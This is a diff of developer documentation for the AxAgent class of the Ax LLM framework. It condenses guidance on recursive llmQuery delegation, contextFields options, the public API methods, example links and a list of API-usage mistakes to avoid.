-- `await llmQuery({ query, context? })`
-- `await llmQuery([{ query, context }, ...])`
-
-Rules:
-
-- `llmQuery(...)` forwards only the explicit `context` argument.
-- Parent inputs are not automatically available to `llmQuery(...)` children.
-- In `mode: 'simple'`, `llmQuery(...)` is a direct semantic helper.
-- In `mode: 'advanced'`, `llmQuery(...)` delegates a focused subtask to a child `AxAgent` with its own runtime and action log while recursion depth remains.
-- In advanced mode, no parent `contextFields` are auto-inserted into recursive children. Only explicit `llmQuery(..., context)` payload is available there.
-- If `context` is a plain object, safe keys are exposed as child runtime globals and the full payload is also available as `context`.
-- In advanced mode, use `llmQuery(...)` to offload discovery-heavy, tool-heavy, or multi-turn semantic branches so the parent action log stays smaller and more focused.
-- In advanced mode, use batched `llmQuery([...])` only for independent subtasks. Use serial calls when later work depends on earlier results.
-- In advanced mode, a good pattern is: parent does coarse discovery and JS narrowing, child `llmQuery(...)` calls handle focused branch analysis, then parent merges child outputs and finishes.
-- In advanced mode with `functions.discovery: true`, prefer putting noisy tool discovery, `discoverFunctions(...)`, and branch-specific tool chatter inside delegated child calls when those branches are independent or semantically distinct.
-- In advanced mode, pass compact named object context to children instead of huge raw parent payloads. This makes the delegated prompt easier to follow and gives the child useful top-level globals.
-- In advanced mode, do not assume child-created variables, discovered docs, or action-log history come back to the parent. Only the child return value comes back.
-- In advanced mode, if a child calls `askClarification(...)`, that clarification bubbles up and ends the top-level run.
-- In advanced mode, recursion is depth-limited: `maxDepth: 0` makes top-level `llmQuery(...)` simple, `maxDepth: 1` makes top-level `llmQuery(...)` advanced and child `llmQuery(...)` simple.
-- In advanced mode, batched delegated children are cancelled when a sibling child asks for clarification or aborts, so use batched form only when those branches are truly independent.
-- `maxSubAgentCalls` is a shared budget across the whole top-level run, including recursive children.
-- Single-call `llmQuery(...)` may return `[ERROR] ...` on non-abort failures.
-- Batched `llmQuery([...])` returns per-item `[ERROR] ...`.
-- If a result starts with `[ERROR]`, inspect or branch on it instead of assuming success.
-
-Minimal example:
-
-```javascript
-const summary = await llmQuery('Summarize this incident', inputs.context);
-if (summary.startsWith('[ERROR]')) {
-  console.log(summary);
-} else {
-  console.log(summary);
-}
-```
-
-Advanced recursive discovery example:
-
-```javascript
-const narrowedIncidents = incidents.map((incident) => ({
-  id: incident.id,
-  timeline: incident.timeline,
-  notes: incident.notes.slice(0, 1200),
-}));
-
-const [severityReview, followupReview] = await llmQuery([
-  {
-    query:
-      'Use discovery and available tools to review severity policy alignment. Return compact findings.',
-    context: {
-      incidents: narrowedIncidents,
-      rubric: 'severity-policy',
-    },
-  },
-  {
-    query:
-      'Use discovery and available tools to review postmortem and follow-up obligations. Return compact findings.',
-    context: {
-      incidents: narrowedIncidents,
-      rubric: 'postmortem-followup',
-    },
-  },
-]);
-
-const merged = await llmQuery(
-  'Merge these delegated reviews into one manager-ready summary with next steps.',
-  {
-    severityReview,
-    followupReview,
-    audience: inputs.audience,
-  }
-);
-```
-
-Delegation decision guide:
-
-- **JS-only** — deterministic logic (filter, sort, count, regex, date math) → do it inline, don't delegate.
-- **Single-shot semantic** — needs LLM reasoning but no tools or multi-step exploration → single `llmQuery` with narrow context.
-- **Full delegation** — needs its own discovery, tool calls, or >2 turns of exploratory work → `llmQuery` as child agent.
-- **Parallel fan-out** — 2+ independent subtasks each qualifying for delegation → batched `llmQuery([...])`.
-
-Context handling:
-
-- In advanced mode, the `context` object is injected into the child's JS runtime as named globals — it does NOT go into the child's LLM prompt. The child's prompt sees only a compact metadata summary (types, sizes, element keys) of the delegated context.
-- The child actor explores the delegated context with code, the same way the parent explores `inputs.*`.
-- Always narrow with JS before delegating — never pass raw `inputs.*`. Name context keys semantically (e.g. `{ emails: filtered, rubric: 'classify-urgency' }`).
-- Estimate total sub-agent calls before fanning out. `maxSubAgentCalls` is a shared budget across all recursion levels.
-
-Divide-and-conquer patterns:
-
-- **Fan-Out / Fan-In**: JS narrows into categories → `llmQuery([...])` fans out per category → JS or one more `llmQuery` merges results.
-- **Pipeline**: serial `llmQuery` calls where each depends on the prior result.
-- **Scout-then-Execute**: first child explores (e.g. check availability) → parent processes with JS → second child acts (e.g. draft invite).
-
-Notes:
-
-- Use these patterns when one task naturally splits into focused semantic branches with their own discovery or tool usage.
-- Keep the parent responsible for orchestration, cheap JS narrowing, and final assembly.
-- See `src/examples/rlm-discovery.ts` for the full recursive discovery demo.
-
-## Short API Reference
-
-### `agentIdentity`
+- `ai` is an optional default service for the agent instance; `.forward(ai, ...)` can still pass the runtime service.
+- `judgeAI` is the optional default judge/teacher service used by optimize flows.
+- `agentIdentity` controls the user-facing agent identity and child-agent function metadata.
 
 ```typescript
 agentIdentity?: {
@@ -1454,243 +487,65 @@ agentIdentity?: {
 ```
 
 - `name` is normalized to camelCase for child-agent function names.
-- `name` and `description` are included in the Actor and Responder prompts as the user-facing agent identity.
-- `namespace` changes the child-agent module from default `agents` to a custom module such as `team`.
-
-### `AxAgentOptions`
+- `name` and `description` are included in the actor and responder prompts as the user-facing agent identity.
+- `namespace` changes the child-agent module from default `utils` to a custom module such as `team`.
 
 Each `contextFields` entry is either a plain field name string or an object controlling how much of the value is inlined into the distiller prompt:
 
-- `{ field, promptMaxChars: N }` — **threshold inline**: inlined only when the value's serialized size ≤ N chars; omitted entirely (runtime-only) when larger. Works with any value type.
-- `{ field, keepInPromptChars: N, reverseTruncate?: boolean }` — **guaranteed excerpt**: always inlined, truncated to N chars with a `...[truncated M chars]` marker. `reverseTruncate: true` keeps the *last* N chars instead of the first. Requires a string value.
-
-Use `promptMaxChars` when partial data is worse than no data (e.g. JSON objects). Use `keepInPromptChars` when a prefix or suffix alone is useful (e.g. a document header, or a log tail with `reverseTruncate: true`). The two options are mutually exclusive on a single field.
+- `{ field, promptMaxChars: N }`: inline only when the serialized value is at most `N` chars; otherwise omit it from the prompt and keep it runtime-only.
+- `{ field, keepInPromptChars: N, reverseTruncate?: boolean }`: always inline a truncated string excerpt; `reverseTruncate: true` keeps the last `N` chars.
 
-```typescript
-{
-  contextFields: readonly (
-    | string
-    | { field: string; promptMaxChars?: number }
-    | { field: string; keepInPromptChars: number; reverseTruncate?: boolean }
-  )[];
-
-  agents?: {
-    local?: AxAnyAgentic[];
-    shared?: AxAnyAgentic[];
-    globallyShared?: AxAnyAgentic[];
-    excluded?: string[];
-  };
-
-  fields?: {
-    local?: string[];
-    shared?: string[];
-    globallyShared?: string[];
-    excluded?: string[];
-  };
-
-  functions?: {
-    local?: AxFunction[];
-    shared?: AxFunction[];
-    globallyShared?: AxFunction[];
-    excluded?: string[];
-    discovery?: boolean;
-  };
-
-  runtime?: AxCodeRuntime;
-  promptLevel?: 'default' | 'detailed';
-  maxSubAgentCalls?: number;            // global cap (default: 100)
-  maxBatchedLlmQueryConcurrency?: number;
-  maxTurns?: number;
-  maxRuntimeChars?: number;
-  contextPolicy?: AxContextPolicyConfig;
-  summarizerOptions?: Omit<AxProgramForwardOptions<string>, 'functions'>;
-  executorTurnCallback?: (turn: {
-    turn: number;
-    actionLogEntryCount: number;
-    guidanceLogEntryCount: number;
-    executorResult: Record<string, unknown>;
-    code: string;
-    result: unknown;
-    output: string;
-    isError: boolean;
-    thought?: string;
-  }) => void | Promise<void>;
-  onContextEvent?: (event: AxAgentContextEvent) => void | Promise<void>;
-  inputUpdateCallback?: (currentInputs: Record<string, unknown>) => Promise<Record<string, unknown> | undefined> | Record<string, unknown> | undefined;
-  onFunctionCall?: (call: {
-    name: string;
-    qualifiedName: string;
-    args: Record<string, unknown>;
-    kind: 'internal' | 'external';
-  }) => void | Promise<void>;
-  onMemoriesSearch?: AxAgentMemoriesSearchFn;  // (searches: readonly string[]) => readonly AxAgentMemoryResult[] | Promise<...>
-  onUsedMemories?: (results: readonly AxAgentMemoryResult[]) => void | Promise<void>;
-  onSkillsSearch?: AxAgentSkillsSearchFn;       // (searches: readonly string[]) => readonly AxAgentSkillResult[] | Promise<...>
-  onUsedSkills?: (results: readonly AxAgentSkillResult[]) => void | Promise<void>;
-  skills?: readonly AxAgentSkillResult[];       // preload skills at construction; also accepted at forward()-time (executor stage only)
-  mode?: 'simple' | 'advanced';
-  executorModelPolicy?: readonly [
-    | {
-        model: string;
-        aboveErrorTurns: number;
-        namespaces?: string[];
-      }
-    | {
-        model: string;
-        aboveErrorTurns?: number;
-        namespaces: string[];
-      },
-    ...Array<
-      | {
-          model: string;
-          aboveErrorTurns: number;
-          namespaces?: string[];
-        }
-      | {
-          model: string;
-          aboveErrorTurns?: number;
-          namespaces: string[];
-        }
-    >,
-  ];
-  recursionOptions?: Partial<Omit<AxProgramForwardOptions, 'functions'>> & {
-    maxDepth?: number;
-  };
-  contextOptions?: AxStageOptions;
-  executorOptions?: AxStageOptions;
-  responderOptions?: AxStageOptions;
-  judgeOptions?: Partial<AxJudgeOptions>;
-  bubbleErrors?: ReadonlyArray<new (...args: any[]) => Error>;
-}
-```
+Use `promptMaxChars` when partial data is worse than no data. Use `keepInPromptChars` when a prefix or suffix alone is useful. The two options are mutually exclusive on one field.
 
-- `executorTurnCallback` fires for the root agent and for recursive child agents that run actor turns.
-- `executorModelPolicy` applies to the actor loop and can be inherited by recursive child agents unless you override it there.
-- `namespaces` matches exact discovery namespaces from successful `discoverFunctions(...)` lookups and starts affecting model choice on the next actor turn.
-- Consecutive error turns reset after a successful non-error turn and when checkpoint summarization refreshes to a new fingerprint.
-- `maxSubAgentCalls` is a shared delegated-call budget across the entire run.
+## Public Surface
 
-### `AxJSRuntime` options (cross-reference)
+Use these method groups as the compact AxAgent surface map:
 
-Constructor options for `new AxJSRuntime(opts)`. All defaults are secure — see `## AxJSRuntime Security` for full detail and recipes.
+- Running: `forward(ai, values, options?)` and `streamingForward(ai, values, options?)`.
+- Forward-time agent options: `skills`, `onUsedMemories`, and `onUsedSkills`; use `ax-agent-memory-skills` for details.
+- State and control: `getState()`, `setState(state?)`, `stop()`, `getSignature()`, `setSignature(signature)`, `getFunction()`, `getId()`, and `setId(id)`.
+- Observability: `getChatLog()`, `getUsage()`, `getStagedUsage()`, `resetUsage()`, and `getTraces()`; use `ax-agent-observability` for details.
+- Demos and tuning: `setDemos(...)`, `namedPrograms()`, `namedProgramInstances()`, `optimize(...)`, `applyOptimization(...)`, `getOptimizableComponents()`, and `applyOptimizedComponents(...)`; use `ax-agent-optimize` for tuning details.
 
-- `permissions?: readonly AxJSRuntimePermission[]` — default `[]`; opt in capabilities (NETWORK, FILESYSTEM, CHILD_PROCESS, WORKERS, STORAGE, CODE_LOADING, COMMUNICATION, TIMING).
-- `blockDynamicImport?: boolean` — default `true`.
-- `allowedModules?: readonly string[]` — default `[]`.
-- `freezeIntrinsics?: boolean` — default `true`.
-- `blockShadowRealm?: boolean` — default `true`.
-- `lockWorkerIPC?: boolean` — default `true`.
-- `preventGlobalThisExtensions?: boolean` — default `false` (opt-in; breaks persistence).
-- `useNodePermissionModel?: boolean | 'auto'` — default `'auto'`.
-- `nodePermissionAllowlist?: { fsRead?; fsWrite?; childProcess?; addons?; wasi? }`.
-- `resourceLimits?: { maxOldGenerationSizeMb?; maxYoungGenerationSizeMb?; codeRangeSizeMb?; stackSizeMb? }`.
-- `allowDenoRemoteImport?: boolean` — default `false`.
-- `allowUnsafeNodeHostAccess?: boolean` — default `false`.
-
-## Observability: getChatLog() and getUsage()
-
-`AxAgent` exposes actor and responder sub-programs. `getChatLog()` returns the same flat `AxChatLogEntry[]` shape as `AxGen` and `AxFlow`; use each entry's optional `name` field to distinguish `distiller`, `executor`, and `responder`. `getUsage()` still returns token usage split by actor/responder.
-
-### getChatLog()
-
-Returns the full normalized chat history after any `.forward()` call. Each entry is one `ai.chat()` round-trip. Actor stages accumulate one entry per turn; the responder typically has one entry.
-
-```typescript
-const log = myAgent.getChatLog();
-// readonly AxChatLogEntry[]
-
-for (const entry of log) {
-  console.log(entry.name, entry.model);
-  for (const msg of entry.messages) {
-    console.log(`[${msg.role}]`, msg.content);
-  }
-}
-```
-
-Each `AxChatLogEntry` captures the full prompt sent to the model and its response:
-
-```typescript
-type AxChatLogMessage =
-  | { role: 'system'; content: string }       // system prompt (includes <tools> block when functions present)
-  | { role: 'user'; content: string }
-  | { role: 'assistant'; content: string }    // may contain <think>...</think> and <tool_call>{...}</tool_call>
-  | { role: 'tool'; name: string; content: string };
-
-type AxChatLogEntry = {
-  name?: string; // e.g. "distiller", "executor", "responder"
-  model: string;
-  messages: AxChatLogMessage[];
-  modelUsage?: AxProgramUsage;
-  stage?: 'ctx' | 'task';
-};
-```
-
-### getUsage()
-
-Returns token usage split by actor/responder. Each sub-array contains one `AxProgramUsage` entry per model/run, merged by `(ai, model)` key.
-
-```typescript
-const usage = myAgent.getUsage();
-// { actor: AxProgramUsage[], responder: AxProgramUsage[] }
-
-console.log('Actor tokens:', usage.actor[0]?.tokens);
-console.log('Responder tokens:', usage.responder[0]?.tokens);
-```
+Rules:
 
-### resetUsage()
+- `getFunction()` requires `agentIdentity` because the agent needs function metadata when used as a child tool.
+- Prefer `.forward(...)` for normal runs and `.streamingForward(...)` only when the caller needs streamed responder output.
+- `setSignature(...)` must preserve configured `contextFields`; it throws if a configured context field is missing from the new signature.
+- Treat low-level optimization component methods as advanced hooks; normal examples should use `agent.optimize(...)` and `agent.applyOptimization(...)`.
 
-Resets both actor and responder usage at once:
+## Tuning Hand-off
 
-```typescript
-myAgent.resetUsage();
-```
+When the user wants `agent.optimize(...)`, judge configuration, eval datasets, saved optimization artifacts, or recursive optimization guidance, use `ax-agent-optimize`.
 
-### Type signatures
+Keep this skill focused on building and running agents. For tuning work:
 
-```typescript
-// AxAgent
-agent.getChatLog(): readonly AxChatLogEntry[]
-agent.getUsage():   { actor: AxProgramUsage[]; responder: AxProgramUsage[] }
-agent.resetUsage(): void
-
-// AxGen / AxFlow
-gen.getChatLog(): readonly AxChatLogEntry[]
-gen.getUsage():   AxProgramUsage[]
-```
+- use eval-safe tools or in-memory mocks
+- treat `judgeOptions` as part of the optimize workflow
+- choose a deterministic `metric` when scoring is objective; use the built-in judge only when run quality needs qualitative review
+- keep runtime authoring guidance here and optimization guidance in `ax-agent-optimize`
 
 ## Examples
 
 Fetch these for full working code:
 
-- [Agent](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/agent.ts) — basic agent
-- [Functions](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/function.ts) — function validation
-- [Food Search](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/food-search.ts) — API tools
-- [Smart Home](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/smart-home.ts) — state management
-- [RLM](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm.ts) — RLM basic
-- [RLM Long Task](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-long-task.ts) — RLM context policy
-- [RLM Discovery](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-discovery.ts) — advanced recursive `llmQuery` plus discovery-heavy delegated subtasks
-- [RLM Shared Fields](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-shared-fields.ts) — shared fields
-- [RLM Adaptive Replay](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-adaptive-replay.ts) — adaptive replay
-- [RLM Live Runtime State](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-live-runtime-state.ts) — structured runtime-state rendering
-- [RLM Clarification Resume](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-clarification-resume.ts) — clarification exception plus `getState()` / `setState(...)`
-- [RLM Memories and Skills](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/rlm-memories-and-skills.ts) — `onMemoriesSearch` + `recall()` and `onSkillsSearch` + `consult()` with observability via `onUsedMemories` / `onUsedSkills`
-- [Customer Support](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/customer-support.ts) — classification agent
-- [Abort Patterns](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/abort-patterns.ts) — abort handling
+- [Agent](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/agent.ts) - basic agent
+- [Functions](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/function.ts) - function validation
+- [Food Search](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/food-search.ts) - API tools
+- [Smart Home](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/smart-home.ts) - state management
+- [Customer Support](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/customer-support.ts) - classification agent
+- [Abort Patterns](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/abort-patterns.ts) - abort handling
+
+RLM examples are listed in `ax-agent-rlm`. Memory/skills examples are listed in `ax-agent-memory-skills`.
 
 ## Do Not Generate
 
 - Do not use `new AxAgent(...)` for new code unless explicitly required.
 - Do not assume child agents are always under `agents.*`.
 - Do not guess function names in discovery mode.
-- Do not write a full multi-step RLM actor program in one turn.
+- Do not write a full multi-step RLM actor program in one turn; use `ax-agent-rlm`.
 - Do not combine `console.log(...)` with `final(...)`.
-- Do not forget `fields.shared` when child agents depend on parent inputs.
-- Do not add `bubbleErrors` for ordinary recoverable tool errors; those should stay as `[ERROR]` strings so the actor can handle them.
-- Do not call `recall()` from the responder stage — it is only available in distiller and executor.
-- Do not assign the result of `await recall(...)` or `await consult(...)` — both return `void`. Read `inputs.memories` next turn (or the **Loaded Skills** section for `consult`) to see what landed.
-- Do not loop `recall()` calls or wrap them in `Promise.all` — the runtime rejects that as a policy violation. Pass all queries in one array to a single `await recall([...])`.
-- Do not assume child agents inherit `onMemoriesSearch` or `onSkillsSearch` — set each one explicitly on each agent that needs `recall()` / `consult()`.
-- Do not call `consult()` from the distiller or responder stages — it is only available in the executor.
-- Do not loop `consult()` calls or wrap them in `Promise.all` — same policy as `recall()`. Pass all queries in one array.
-- Do not pass `onMemoriesSearch` results via `fields.shared` as a workaround — use the built-in `recall()` primitive instead.
-- Do not assume `inputs.memories` persists across `.forward()` calls — its lifetime is one run. Persist memories in your store and recall them again on subsequent calls.
+- Do not add `bubbleErrors` for ordinary recoverable tool errors.
+- Do not call `discover()` from the distiller or responder stages.
+- Do not assign or inspect the return value of `await discover(...)`; read the next prompt instead.
+- Do not loop `discover()` calls or wrap them in `Promise.all`.